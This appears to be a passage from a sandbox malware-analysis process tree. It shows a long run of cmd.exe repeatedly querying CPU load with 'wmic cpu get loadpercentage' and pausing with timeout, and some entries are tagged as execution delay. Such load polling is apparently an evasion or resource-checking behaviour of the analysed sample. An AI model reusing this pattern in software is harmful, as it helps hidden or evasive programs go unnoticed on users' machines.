C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2852
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1984
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2340
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3024
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1852
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2536
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:828
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4728
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:524
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4680
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4828
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3520
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1956
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4308
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:312
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2992
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2260
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4284
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4468
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3644
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4800
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2152
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:760
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1608
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2044
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:8
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1080
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4184
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3536
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3896
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2748
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3324
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2244
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2252
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4888
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3024
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4476
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1948
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2700
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2892
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4828
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3928
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3520
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2140
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4472
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4424
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4908
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4444
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1756
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:352
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4660
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4244
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:684
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4532
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2508
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1784
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2324
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4124
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:60
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1064
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2776
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:364
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4612
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4184
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4632
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4080
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3384
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2748
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4304
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4132
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3684
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1120
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1852
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1020
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2792
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2828
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1744
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1072
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2700
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:524
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4484
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2444
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3152
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4472
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1220
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3508
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2652
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1652
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1000
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2524
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4016
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3564
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4240
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4756
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2152
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3604
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3456
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2552
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4644
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:8
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:196
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3808
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1904
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3632
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:804
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1964
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3324
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4072
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2528
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1120
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1896
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2536
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:828
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2792
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4460
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4724
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4576
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4672
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3084
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4316
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3688
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1848
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3196
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3332
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2936
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4892
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4244
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2196
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2160
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1068
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2948
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5108
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2588
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2284
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2332
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1784
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:680
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1060
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3456
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4644
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:512
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2608
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2780
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2664
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3888
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3384
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2748
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4880
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:216
-
-
